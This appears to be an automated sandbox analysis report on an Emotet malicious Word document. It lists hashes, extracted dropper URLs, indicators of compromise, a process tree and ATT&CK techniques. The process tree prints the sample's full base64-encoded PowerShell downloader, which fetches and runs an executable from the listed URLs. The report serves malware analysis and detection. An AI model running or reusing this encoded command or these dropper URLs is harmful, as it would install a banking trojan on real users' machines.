emotet | 59c0eb17a6928f0d5a9c1bb79ff1de6b854de12390cff96feb32aa0622010c0f

Analysis

max time kernel
139s
max time network
151s
platform
windows10_x64
resource
win10
submitted
11/08/2020, 13:18

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General

Target
emotet_e2_59c0eb17a6928f0d5a9c1bb79ff1de6b854de12390cff96feb32aa0622010c0f_2020-08-11__131621._doc.doc
Size 224KB
Sample200811-56t3r9nyl2
SHA256 59c0eb17a6928f0d5a9c1bb79ff1de6b854de12390cff96feb32aa0622010c0f
MD5 5276fd6c533fa30aae5eda4839dd5526
SHA1 22b936751f14a84d10745838c78d4ee6fc079fdc
SHA512 00e3c2fad88cee414f173c41dbbed4f4ea99353913746dbd81d2ff25b2d96423af77c133c6ae8ef3e647c30290234152e941167c47bbd66fcb4416cbbad59227
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://elnoursteel-eg.com/admin/nx5ea_v0af_ukpya/
exe.dropper
http://esdev.mumara.com/js/x7_k_qbuis80o/
exe.dropper
http://www.earthpath.com/EarthPath/cmr4_oof1y_s/
exe.dropper
http://ensanz.com/zg3lo_dsy_knb1n/
exe.dropper
https://ergosnooze.com/wp-content/b7nwa_2b_y/

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4024	3004	powersheLL.exe	68

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/4148-13-0x00000000022C0000-0x00000000022CC000-memory.dmp	emotet
behavioral2/memory/4148-13-0x00000000022C0000-0x00000000022CC000-memory.dmp	emotet
behavioral2/memory/4264-17-0x00000000005A0000-0x00000000005AC000-memory.dmp	emotet
behavioral2/memory/4264-17-0x00000000005A0000-0x00000000005AC000-memory.dmp	emotet

Blacklisted process makes network request 2 IoCs

flow	pid	Process
8	4024	powersheLL.exe
12	4024	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
4148	573.exe
4264	TpmInit.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\dpapimig\TpmInit.exe	573.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3920	WINWORD.EXE
3920	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
4024	powersheLL.exe
4024	powersheLL.exe
4024	powersheLL.exe
4264	TpmInit.exe
4264	TpmInit.exe
4264	TpmInit.exe
4264	TpmInit.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4024	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE
4148	573.exe
4148	573.exe
4264	TpmInit.exe
4264	TpmInit.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4148 wrote to memory of 4264	4148	573.exe	76
PID 4148 wrote to memory of 4264	4148	573.exe	76
PID 4148 wrote to memory of 4264	4148	573.exe	76

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_59c0eb17a6928f0d5a9c1bb79ff1de6b854de12390cff96feb32aa0622010c0f_2020-08-11__131621._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3920

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABCAFoATQBKAFgAbgBvAHEAPQAnAFkAVwBQAEQAUABqAGIAeQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYwB1AHIASQB0AFkAUABSAGAAbwB0AGAAbwBDAGAAbwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQARABIAEIAVABHAGgAeAB6ACAAPQAgACcANQA3ADMAJwA7ACQASABVAFcAQgBGAHgAcgB0AD0AJwBSAEcARgBZAFIAYwBvAGYAJwA7ACQASQBNAEoAWQBNAHUAcwBvAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABEAEgAQgBUAEcAaAB4AHoAKwAnAC4AZQB4AGUAJwA7ACQAWQBQAFYASwBWAHIAdAByAD0AJwBBAFMAUgBSAEgAcwB3AHIAJwA7ACQAVABHAFoARwBQAG0AaABiAD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABOAEUAdAAuAHcAZQBiAEMAbABJAEUATgB0ADsAJABGAEcAUQBVAFUAbQB2AGIAPQAnAGgAdAB0AHAAOgAvAC8AZQBsAG4AbwB1AHIAcwB0AGUAZQBsAC0AZQBnAC4AYwBvAG0ALwBhAGQAbQBpAG4ALwBuAHgANQBlAGEAXwB2ADAAYQBmAF8AdQBrAHAAeQBhAC8AKgBoAHQAdABwADoALwAvAGUAcwBkAGUAdgAuAG0AdQBtAGEAcgBhAC4AYwBvAG0ALwBqAHMALwB4ADcAXwBrAF8AcQBiAHUAaQBzADgAMABvAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AZQBhAHIAdABoAHAAYQB0AGgALgBjAG8AbQAvAEUAYQByAHQAaABQAGEAdABoAC8AYwBtAHIANABfAG8AbwBmADEAeQBfAHMALwAqAGgAdAB0AHAAOgAvAC8AZQBuAHMAYQBuAHoALgBjAG8AbQAvAHoAZwAzAGwAbwBfAGQAcwB5AF8AawBuAGIAMQBuAC8AKgBoAHQAdABwAHMAOgAvAC8AZQByAGcAbwBzAG4AbwBvAHoAZQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGIANwBuAHcAYQBfADIAYgBfAHkALwAnAC4AIgBTAGAAcABsAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEYAWABIAE0ARgB1AHgAeQA9ACcAVABYAFgAQQBCAGQAZAB6ACcAOwBmAG8AcgBlAGEAYwBoACgAJABMAE0ATQBXAFEAdgBxAGYAIABpAG4AIAAkAEYARwBRAFUAVQBtAHYAYgApAHsAdAByAHkAewAkAFQARwBaAEcAUABtAGgAYgAuACIARABgAG8AYAB3AE4AbABvAGEARABmAEkAbABFACIAKAAkAEwATQBNAFcAUQB2AHEAZgAsACAAJABJAE0ASgBZAE0AdQBzAG8AKQA7ACQARgBYAFkARgBJAG8AeAByAD0AJwBZAEEAWQBNAEMAYQBkAGkAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABJAE0ASgBZAE0AdQBzAG8AKQAuACIAbABgAGUAbgBHAHQAaAAiACAALQBnAGUAIAAyADYANAAxADMAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAUgBFAGEAYABUAEUAIgAoACQASQBNAEoAWQBNAHUAcwBvACkAOwAkAE0ASgBCAE0AVwB1AGEAdAA9ACcAWgBRAE4ATgBIAHMAcQB1ACcAOwBiAHIAZQBhAGsAOwAkAEEAUABTAE8ATwBzAHkAeQA9ACcARwBWAFgAWABTAHYAbgBuACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEUASwBDAEsASAB1AHcAcgA9ACcASwBNAFEAVQBNAGYAZABpACcA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4024

C:\Users\Admin\573.exe
C:\Users\Admin\573.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4148
- C:\Windows\SysWOW64\dpapimig\TpmInit.exe
  "C:\Windows\SysWOW64\dpapimig\TpmInit.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:4264

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3920-1-0x000001F4F02C7000-0x000001F4F02D8000-memory.dmp

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memory/3920-2-0x000001F4F02C7000-0x000001F4F02D8000-memory.dmp

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memory/3920-3-0x000001F4F02C7000-0x000001F4F02D8000-memory.dmp

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memory/3920-4-0x000001F4F02C7000-0x000001F4F02D8000-memory.dmp

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memory/3920-5-0x000001F4F02C7000-0x000001F4F02D8000-memory.dmp

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memory/3920-6-0x000001F4F04ED000-0x000001F4F04F2000-memory.dmp

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memory/3920-0-0x00007FFEAA320000-0x00007FFEAA9E6000-memory.dmp

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memory/4024-8-0x00000210F8100000-0x00000210F8101000-memory.dmp

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memory/4024-9-0x00000210F8410000-0x00000210F8411000-memory.dmp

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memory/4024-7-0x00007FFEA1D20000-0x00007FFEA270C000-memory.dmp

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memory/4148-12-0x000000000065C000-0x000000000065E000-memory.dmp

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memory/4148-13-0x00000000022C0000-0x00000000022CC000-memory.dmp

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memory/4264-16-0x00000000004AC000-0x00000000004AE000-memory.dmp

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memory/4264-17-0x00000000005A0000-0x00000000005AC000-memory.dmp

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